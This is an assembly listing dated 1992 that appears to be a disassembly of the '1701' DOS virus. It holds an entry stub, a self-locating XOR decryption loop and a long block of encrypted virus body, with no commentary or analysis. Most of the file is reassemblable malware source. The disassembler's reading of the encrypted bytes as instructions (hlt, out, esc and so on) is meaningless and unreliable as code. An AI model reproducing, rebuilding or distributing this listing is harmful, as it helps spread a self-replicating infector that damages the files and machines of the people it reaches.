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Assembly Source File | 1992-10-09 | 12KB | 428 lines

PAGE 59,132 ;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ 1701 ██ ;██ ██ ;██ Created: 11-Feb-92 ██ ;██ Passes: 5 Analysis Options on: none ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ data_31e equ 27D1h ;* data_36e equ 4CD6h ;* data_39e equ 6950h ;* data_45e equ 8848h ;* data_50e equ 0BDF1h ;* data_53e equ 0CBC7h ;* data_55e equ 0EA36h ;* data_58e equ 49F2h data_59e equ 0B0E0h data_60e equ 0BCF1h data_61e equ 0EAEFh seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h 1701 proc far start: jmp loc_2 db 39 dup (0) data_22 db 0 ; Data table (indexed access) db 58 dup (0) loc_2: cli ; Disable interrupts mov bp,sp call sub_1 1701 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_1 proc near pop bx sub bx,131h test cs:data_22[bx],1 jz $+11h ; Jump if zero lea si,[bx+14Dh] ; Load effective addr mov sp,682h loc_4: xor [si],si xor [si],sp inc si dec sp jnz loc_4 ; Jump if not zero db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh db 3Bh,0DCh,0E0h,0C3h,0C2h,0C6h db 0E6h,0C2h locloop_5: mov si,dx push es db 0F1h, 60h,0D4h,0ABh, 69h, 96h db 0EEh,0EEh,0E2h, 0Bh, 06h,0DBh db 0E2h db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h db 0F6h loc_7: db 0F2h,0F2h, 7Ah, 87h, 61h loc_9: test ah,[di-80h] add byte ptr [bp+si-7171h],0F6h jc loc_9 ; Jump if carry Set div dl ; al, ah rem = ax/reg db 0F2h,0EEh,0EEh,0E2h,0E3h, 1Bh db 16h,0C2h db 0C2h,0CEh db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h db 92h,0C3h,0ECh, 47h, 49h,0A4h db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh db 03h, 77h, 14h,0B9h,0FEh, 46h db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h db 73h, 11h, 44h,0B7h, 97h,0E9h db 94h,0F4h db 19h,0F0h,0E9h,0DCh, 79h, 71h db 0A0h,0F3h,0DCh, 31h, 61h, 90h db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch db 32h, 49h,0FEh, 12h, 73h,0B3h db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh db 80h,0DEh,0DCh, 87h,0E6h, 77h db 8Bh,0F6h,0DCh loc_14: into ; Int 4 on overflow db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh db 0BBh, 86h, 45h, 76h,0B5h,0C2h db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h db 0D4h, 30h,0F0h,0F2h,0F2h, 43h db 25h,0D2h, 48h, 43h, 05h,0EAh db 47h, 80h,0CBh,0A1h, 46h,0A6h db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h db 20h,0F5h, 79h, 01h db 4Fh db 57h,0F4h, 33h, 3Dh, 66h,0C4h loc_16: dec bx dec cx mov dl,0C0h lahf ; Load ah from flags add ax,7EDCh jns loc_14 ; Jump if not sign db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh db 0BFh, 7Ch, 33h,0D0h db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h db 80h db 86h, 82h,0D8h,0A8h, 02h,0FCh db 0F3h loc_19: div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data lock jmp $-211h sub_1 endp db 6Bh, 51h,0C8h,0E3h, 51h,0EEh db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h db 92h db 9 db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h db 11h,0BBh, 19h,0B9h, 87h, 07h db 0CEh, 22h,0E7h,0FCh,0F2h, 46h db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah db 0E5h, 95h, 83h, 92h,0C8h, 63h db 17h, 52h,0F5h, 87h,0ABh,0E8h db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh db 4Fh,0D8h,0F9h,0C3h,0E0h db 42h db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh loc_22: jl loc_19 ; Jump if < hlt ; Halt processor mov dl,6Ah ; 'j' dec word ptr ds:data_55e[si] out 1Eh,ax ; port 1Eh ??I/O Non-standard jc loc_22 ; Jump if carry Set mov dl,0C0h dec bp mov sp,0C8E3h inc bp and bl,0C0h sub sp,si xchg ax,si div di ; ax,dx rem=dx:ax/reg db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h db 7Eh,0F4h db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh db 0CFh,0F1h, 49h, 24h, 09h, 1Fh db 65h, 0Ch, 8Eh,0F2h, 49h, 76h db 16h, 28h,0FDh, 2Ch, 39h, 0Fh db 4Dh, 58h,0A3h,0D8h, 36h,0F4h db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch db 94h, 95h, 93h,0C0h,0DCh,0ECh db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh db 0F0h,0B0h,0FDh, 07h,0F1h, 10h db 0Bh,0E7h,0ECh, 61h, 85h db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h db 46h,0D0h, 23h,0C3h,0CCh, 67h db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh db 37h, 48h, 04h, 01h, 76h, 0Ch db 2Bh, 88h, 37h,0BEh,0F3h,0CDh db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h db 0CCh, 66h,0D8h,0CCh,0E3h, 07h db 9Bh,0FCh,0DCh db 57h loc_27: mov bp,0F7F3h xchg ax,di aaa ; Ascii adjust in al,dx ; port 0C0h, DMA-2 bas&add ch 0 stc ; Set carry flag db 0C0h,0E9h db 0C3h,0B6h, 29h, 76h,0F2h,0B1h db 0D8h, 33h,0E4h,0B5h,0EFh, 23h db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh db 0AFh,0EFh, 72h, 03h,0D6h, 00h db 33h,0D5h,0FAh, 87h, 3Ah, 83h db 0C5h,0B5h, 4Bh, 4Fh,0AFh db 0FCh, 37h, 4Ah,0F4h db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h db 0E8h, 49h,0CCh, 83h,0CFh,0DCh db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h db 09h,0CFh, 7Eh db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h db 0DCh,0C3h, 23h, 70h, 13h, 28h db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h db 79h,0E4h, 8Dh,0CFh,0ECh, 49h db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh db 0AFh,0EFh, 14h, 23h,0E1h, 93h db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh db 0E8h loc_33: stc ; Set carry flag mov cl,0B3h mov sp,4BBEh cmc ; Complement carry db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h db 49h, 85h, 38h,0D7h,0C5h, 89h db 85h db 2Ch, 05h,0AAh,0E7h,0F1h, 79h db 0E5h,0B6h,0E5h, 22h, 96h,0E4h db 11h, 00h, 69h, 2Ch,0B4h,0ABh db 0A9h,0E9h, 35h,0ECh,0F4h, 58h db 58h, 52h, 0Dh, 00h,0BEh, 43h db 03h, 81h,0D6h, 4Ch, 94h,0F7h db 48h, 9Eh,0F2h, 57h,0E6h,0E2h db 1Eh, 15h, 43h,0BBh,0BDh,0B0h db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h db 78h, 08h, 38h,0E4h, 90h,0C7h db 70h,0C2h,0C1h db 0Ch db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h db 79h, 1Eh, 18h,0E4h,0B6h,0E7h db 19h, 6Ch,0FCh,0B6h,0EFh, 86h db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h db 0F7h, 79h, 62h, 5Ah,0F3h, 82h db 0Dh, 5Fh db 09h,0B4h,0F1h,0BCh, 21h,0B1h db 0E0h,0B0h,0B1h, 65h, 36h, 78h db 34h, 00h,0D0h,0A0h,0F3h, 78h db 0CEh,0C1h, 00h, 17h, 26h,0C1h db 0C4h, 94h,0CFh, 79h, 0Ah, 00h db 0F0h,0A6h,0F3h, 11h, 60h,0E4h db 0BAh,0E7h, 92h,0F0h, 58h, 34h db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh db 0AEh, 03h, 76h,0F5h, 85h, 31h db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh db 0E3h, 0Ch, 10h,0ABh, 10h, 00h db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h db 0C0h,0E2h, 38h, 24h,0A3h, 96h db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh db 42h, 84h,0F0h,0CEh, 2Dh,0F9h db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh db 0E2h, 92h, 1Ch,0D1h loc_37: sub cx,[bx-7Eh] db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh db 03h,0F1h, 1Ch, 77h,0FDh,0F2h db 01h, 07h,0DCh, 51h,0B2h,0EFh db 21h,0ABh db 0Dh, 08h db 24h,0E4h db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h db 49h,0C2h,0E7h, 41h,0F2h,0F4h db 0BBh, 23h,0F2h,0BFh,0E1h, 66h db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h db 0A5h,0F7h, 46h,0FDh, 03h,0DEh db 4Ah,0E4h, 94h,0C7h, 04h,0C4h db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h db 0D0h, 94h db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh db 0F5h locloop_40: movsw ; Mov [si] to es:[di] ;* mov dx,offset loc_46 ;* db 0BAh, 84h,0F0h mov ax,ds:data_45e cmpsb ; Cmp [si] to es:[di] db 0F3h,0F7h, 56h,0A1h,0F3h, 10h db 2Eh, 14h,0C4h,0B4h,0E7h, 41h db 80h,0EFh, 4Fh, 96h,0F3h,0CDh db 0F0h, 90h,0F3h,0B8h,0CDh, 63h db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh db 45h, 02h,0C1h, 09h,0B1h, 53h db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh db 88h,0DEh,0AEh,0A1h,0F3h, 42h db 0F6h, 1Ah,0B0h, 10h, 64h, 12h db 0Ah, 60h, 18h, 0Ah,0F3h, 11h db 9Ch, 20h, 1Ah,0EAh, 09h, 80h db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h db 90h,0C3h, 48h,0C0h, 9Dh,0F3h db 47h,0F6h, 08h, 34h,0C8h,0D8h db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh db 6Ah, 72h, 78h,0F0h,0BDh, 70h db 48h,0C8h,0C4h,0A5h,0F7h, 85h db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h db 30h, 0Ch, 2Ah,0F0h, 38h, 60h db 97h,0CFh, 30h, 34h, 72h,0D0h db 0A1h,0F3h, 0Fh, 10h, 20h, 52h db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh db 0ECh,0A5h,0F5h, 09h, 58h,0F2h db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h db 06h, 69h, 1Ch,0A8h, 92h,0E1h db 0Bh,0BFh, 11h, 16h, 93h,0D2h db 0Ah, 14h, 93h, 0Dh,0E0h, 34h db 0C4h, 91h,0C7h,0CBh,0B7h, 96h db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h db 0DCh, 11h,0E0h,0BCh,0E3h, 93h db 0A3h,0FCh locloop_41: in al,0E0h ; port 0E0h, Memory encode reg2 db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h db 60h,0A2h, 23h,0EEh, 8Fh,0CFh db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h db 20h,0FDh, 2Ch, 35h, 07h, 2Ch db 0F4h, 08h, 59h,0F3h,0FAh, 82h db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h db 9Ch,0FFh, 85h,0F3h locloop_42: jbe loc_45 ; Jump if below or = clc ; Clear carry flag mov sp,0ECC8h inc dx loopnz locloop_41 ; Loop if zf=0, cx>0 retn db 35h, 94h db 97h db 0AAh loc_45: esc 4,[bx+di] ; coprocessor escape esc 0,cl ; coprocessor escape db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h db 88h, 82h, 83h, 87h, 08h, 42h db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h db 0F7h, 4Bh, 57h,0E8h, 12h, 11h db 46h, 59h,0C5h,0E2h, 5Ch,0CDh db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh db 70h,0C8h,0E8h,0F3h,0F7h,0E0h db 0F7h,0CFh, 85h, 88h, 2Ch, 04h db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h seg_a ends end start